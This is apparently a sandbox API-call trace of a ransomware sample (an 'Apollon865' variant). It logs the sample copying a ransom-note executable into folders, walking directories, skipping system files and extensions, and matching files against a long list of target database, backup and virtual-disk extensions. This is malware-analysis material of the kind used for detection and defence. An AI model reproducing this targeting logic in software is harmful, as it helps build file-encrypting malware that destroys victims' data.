	[0079.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0079.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7888 | out: hHeap=0x580000) returned 1
	[0079.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62
	[0079.229] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C"
	[0079.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.234] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.235] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x474b7a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x474b7a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0079.235] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.235] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.235] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.235] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x474b7a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x474b7a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.235] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.235] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.235] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.235] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.235] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".") returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="..") returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="windows") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="bootmgr") returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="temp") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="pagefile.sys") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="boot") returned 1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ids.txt") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ntuser.dat") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="perflogs") returned -1
	[0079.235] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="MSBuild") returned -1
	[0079.235] lstrlenW (lpString="ExcelLR.cab") returned 11
	[0079.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0079.235] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ExcelLR.cab" | out: lpString1="ExcelLR.cab") returned="ExcelLR.cab"
	[0079.235] lstrlenW (lpString="ExcelLR.cab") returned 11
	[0079.235] lstrlenW (lpString="Apollon865") returned 10
	[0079.235] lstrcmpiW (lpString1="xcelLR.cab", lpString2="Apollon865") returned 1
	[0079.236] lstrlenW (lpString=".dll") returned 4
	[0079.236] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".dll") returned 1
	[0079.236] lstrlenW (lpString=".lnk") returned 4
	[0079.236] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".lnk") returned 1
	[0079.236] lstrlenW (lpString=".ini") returned 4
	[0079.236] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".ini") returned 1
	[0079.236] lstrlenW (lpString=".sys") returned 4
	[0079.236] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".sys") returned 1
	[0079.236] lstrlenW (lpString="ExcelLR.cab") returned 11
	[0079.236] lstrlenW (lpString="bak") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0079.236] lstrlenW (lpString="ba_") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0079.236] lstrlenW (lpString="dbb") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0079.236] lstrlenW (lpString="vmdk") returned 4
	[0079.236] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0079.236] lstrlenW (lpString="rar") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0079.236] lstrlenW (lpString="zip") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0079.236] lstrlenW (lpString="tgz") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0079.236] lstrlenW (lpString="vbox") returned 4
	[0079.236] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0079.236] lstrlenW (lpString="vdi") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0079.236] lstrlenW (lpString="vhd") returned 3
	[0079.236] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0079.236] lstrlenW (lpString="vhdx") returned 4
	[0079.236] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0079.236] lstrlenW (lpString="avhd") returned 4
	[0079.236] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0079.236] lstrlenW (lpString="db") returned 2
	[0079.236] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0079.237] lstrlenW (lpString="db2") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0079.237] lstrlenW (lpString="db3") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0079.237] lstrlenW (lpString="dbf") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0079.237] lstrlenW (lpString="mdf") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0079.237] lstrlenW (lpString="mdb") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0079.237] lstrlenW (lpString="sql") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0079.237] lstrlenW (lpString="sqlite") returned 6
	[0079.237] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0079.237] lstrlenW (lpString="sqlite3") returned 7
	[0079.237] lstrcmpiW (lpString1="lLR.cab", lpString2="sqlite3") returned -1
	[0079.237] lstrlenW (lpString="sqlitedb") returned 8
	[0079.237] lstrcmpiW (lpString1="elLR.cab", lpString2="sqlitedb") returned -1
	[0079.237] lstrlenW (lpString="xml") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0079.237] lstrlenW (lpString="$er") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0079.237] lstrlenW (lpString="4dd") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0079.237] lstrlenW (lpString="4dl") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0079.237] lstrlenW (lpString="^^^") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0079.237] lstrlenW (lpString="abs") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0079.237] lstrlenW (lpString="abx") returned 3
	[0079.237] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0079.237] lstrlenW (lpString="accdb") returned 5
	[0079.237] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0079.237] lstrlenW (lpString="accdc") returned 5
	[0079.237] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0079.238] lstrlenW (lpString="accde") returned 5
	[0079.238] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0079.238] lstrlenW (lpString="accdr") returned 5
	[0079.238] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0079.238] lstrlenW (lpString="accdt") returned 5
	[0079.238] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0079.238] lstrlenW (lpString="accdw") returned 5
	[0079.238] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0079.238] lstrlenW (lpString="accft") returned 5
	[0079.238] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0079.238] lstrlenW (lpString="adb") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.238] lstrlenW (lpString="adb") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.238] lstrlenW (lpString="ade") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0079.238] lstrlenW (lpString="adf") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0079.238] lstrlenW (lpString="adn") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0079.238] lstrlenW (lpString="adp") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0079.238] lstrlenW (lpString="alf") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0079.238] lstrlenW (lpString="ask") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0079.238] lstrlenW (lpString="btr") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0079.238] lstrlenW (lpString="cat") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0079.238] lstrlenW (lpString="cdb") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0079.238] lstrlenW (lpString="ckp") returned 3
	[0079.238] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0079.238] lstrlenW (lpString="cma") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0079.239] lstrlenW (lpString="cpd") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0079.239] lstrlenW (lpString="dacpac") returned 6
	[0079.239] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1
	[0079.239] lstrlenW (lpString="dad") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0079.239] lstrlenW (lpString="dadiagrams") returned 10
	[0079.239] lstrcmpiW (lpString1="xcelLR.cab", lpString2="dadiagrams") returned 1
	[0079.239] lstrlenW (lpString="daschema") returned 8
	[0079.239] lstrcmpiW (lpString1="elLR.cab", lpString2="daschema") returned 1
	[0079.239] lstrlenW (lpString="db-journal") returned 10
	[0079.239] lstrcmpiW (lpString1="xcelLR.cab", lpString2="db-journal") returned 1
	[0079.239] lstrlenW (lpString="db-shm") returned 6
	[0079.239] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1
	[0079.239] lstrlenW (lpString="db-wal") returned 6
	[0079.239] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1
	[0079.239] lstrlenW (lpString="dbc") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0079.239] lstrlenW (lpString="dbs") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0079.239] lstrlenW (lpString="dbt") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0079.239] lstrlenW (lpString="dbv") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0079.239] lstrlenW (lpString="dbx") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0079.239] lstrlenW (lpString="dcb") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0079.239] lstrlenW (lpString="dct") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0079.239] lstrlenW (lpString="dcx") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0079.239] lstrlenW (lpString="ddl") returned 3
	[0079.239] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0079.239] lstrlenW (lpString="dlis") returned 4
	[0079.240] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0079.240] lstrlenW (lpString="dp1") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0079.240] lstrlenW (lpString="dqy") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0079.240] lstrlenW (lpString="dsk") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0079.240] lstrlenW (lpString="dsn") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0079.240] lstrlenW (lpString="dtsx") returned 4
	[0079.240] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0079.240] lstrlenW (lpString="dxl") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0079.240] lstrlenW (lpString="eco") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0079.240] lstrlenW (lpString="ecx") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0079.240] lstrlenW (lpString="edb") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0079.240] lstrlenW (lpString="epim") returned 4
	[0079.240] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0079.240] lstrlenW (lpString="fcd") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0079.240] lstrlenW (lpString="fdb") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0079.240] lstrlenW (lpString="fic") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0079.240] lstrlenW (lpString="flexolibrary") returned 12
	[0079.240] lstrlenW (lpString="fm5") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0079.240] lstrlenW (lpString="fmp") returned 3
	[0079.240] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0079.240] lstrlenW (lpString="fmp12") returned 5
	[0079.240] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1
	[0079.240] lstrlenW (lpString="fmpsl") returned 5
	[0079.241] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1
	[0079.241] lstrlenW (lpString="fol") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0079.241] lstrlenW (lpString="fp3") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0079.241] lstrlenW (lpString="fp4") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0079.241] lstrlenW (lpString="fp5") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0079.241] lstrlenW (lpString="fp7") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0079.241] lstrlenW (lpString="fpt") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0079.241] lstrlenW (lpString="frm") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0079.241] lstrlenW (lpString="gdb") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.241] lstrlenW (lpString="gdb") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.241] lstrlenW (lpString="grdb") returned 4
	[0079.241] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0079.241] lstrlenW (lpString="gwi") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0079.241] lstrlenW (lpString="hdb") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0079.241] lstrlenW (lpString="his") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0079.241] lstrlenW (lpString="ib") returned 2
	[0079.241] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0079.241] lstrlenW (lpString="idb") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0079.241] lstrlenW (lpString="ihx") returned 3
	[0079.241] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0079.241] lstrlenW (lpString="itdb") returned 4
	[0079.241] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0079.241] lstrlenW (lpString="itw") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0079.242] lstrlenW (lpString="jet") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0079.242] lstrlenW (lpString="jtx") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0079.242] lstrlenW (lpString="kdb") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0079.242] lstrlenW (lpString="kexi") returned 4
	[0079.242] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0079.242] lstrlenW (lpString="kexic") returned 5
	[0079.242] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1
	[0079.242] lstrlenW (lpString="kexis") returned 5
	[0079.242] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1
	[0079.242] lstrlenW (lpString="lgc") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0079.242] lstrlenW (lpString="lwx") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0079.242] lstrlenW (lpString="maf") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0079.242] lstrlenW (lpString="maq") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0079.242] lstrlenW (lpString="mar") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0079.242] lstrlenW (lpString="marshal") returned 7
	[0079.242] lstrcmpiW (lpString1="lLR.cab", lpString2="marshal") returned -1
	[0079.242] lstrlenW (lpString="mas") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0079.242] lstrlenW (lpString="mav") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0079.242] lstrlenW (lpString="maw") returned 3
	[0079.242] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0079.242] lstrlenW (lpString="mdbhtml") returned 7
	[0079.242] lstrcmpiW (lpString1="lLR.cab", lpString2="mdbhtml") returned -1
	[0079.242] lstrlenW (lpString="mdn") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0079.243] lstrlenW (lpString="mdt") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0079.243] lstrlenW (lpString="mfd") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0079.243] lstrlenW (lpString="mpd") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0079.243] lstrlenW (lpString="mrg") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0079.243] lstrlenW (lpString="mud") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0079.243] lstrlenW (lpString="mwb") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0079.243] lstrlenW (lpString="myd") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0079.243] lstrlenW (lpString="ndf") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0079.243] lstrlenW (lpString="nnt") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0079.243] lstrlenW (lpString="nrmlib") returned 6
	[0079.243] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1
	[0079.243] lstrlenW (lpString="ns2") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0079.243] lstrlenW (lpString="ns3") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0079.243] lstrlenW (lpString="ns4") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0079.243] lstrlenW (lpString="nsf") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0079.243] lstrlenW (lpString="nv") returned 2
	[0079.243] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0079.243] lstrlenW (lpString="nv2") returned 3
	[0079.243] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0079.243] lstrlenW (lpString="nwdb") returned 4
	[0079.244] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0079.244] lstrlenW (lpString="nyf") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0079.244] lstrlenW (lpString="odb") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.244] lstrlenW (lpString="odb") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.244] lstrlenW (lpString="oqy") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0079.244] lstrlenW (lpString="ora") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0079.244] lstrlenW (lpString="orx") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0079.244] lstrlenW (lpString="owc") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0079.244] lstrlenW (lpString="p96") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0079.244] lstrlenW (lpString="p97") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0079.244] lstrlenW (lpString="pan") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0079.244] lstrlenW (lpString="pdb") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0079.244] lstrlenW (lpString="pdm") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0079.244] lstrlenW (lpString="pnz") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0079.244] lstrlenW (lpString="qry") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0079.244] lstrlenW (lpString="qvd") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0079.244] lstrlenW (lpString="rbf") returned 3
	[0079.244] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0079.244] lstrlenW (lpString="rctd") returned 4
	[0079.244] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0079.244] lstrlenW (lpString="rod") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0079.245] lstrlenW (lpString="rodx") returned 4
	[0079.245] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0079.245] lstrlenW (lpString="rpd") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0079.245] lstrlenW (lpString="rsd") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0079.245] lstrlenW (lpString="sas7bdat") returned 8
	[0079.245] lstrcmpiW (lpString1="elLR.cab", lpString2="sas7bdat") returned -1
	[0079.245] lstrlenW (lpString="sbf") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0079.245] lstrlenW (lpString="scx") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0079.245] lstrlenW (lpString="sdb") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0079.245] lstrlenW (lpString="sdc") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0079.245] lstrlenW (lpString="sdf") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0079.245] lstrlenW (lpString="sis") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0079.245] lstrlenW (lpString="spq") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0079.245] lstrlenW (lpString="te") returned 2
	[0079.245] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0079.245] lstrlenW (lpString="teacher") returned 7
	[0079.245] lstrcmpiW (lpString1="lLR.cab", lpString2="teacher") returned -1
	[0079.245] lstrlenW (lpString="tmd") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0079.245] lstrlenW (lpString="tps") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0079.245] lstrlenW (lpString="trc") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.245] lstrlenW (lpString="trc") returned 3
	[0079.245] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.246] lstrlenW (lpString="trm") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0079.246] lstrlenW (lpString="udb") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0079.246] lstrlenW (lpString="udl") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0079.246] lstrlenW (lpString="usr") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0079.246] lstrlenW (lpString="v12") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0079.246] lstrlenW (lpString="vis") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0079.246] lstrlenW (lpString="vpd") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0079.246] lstrlenW (lpString="vvv") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0079.246] lstrlenW (lpString="wdb") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0079.246] lstrlenW (lpString="wmdb") returned 4
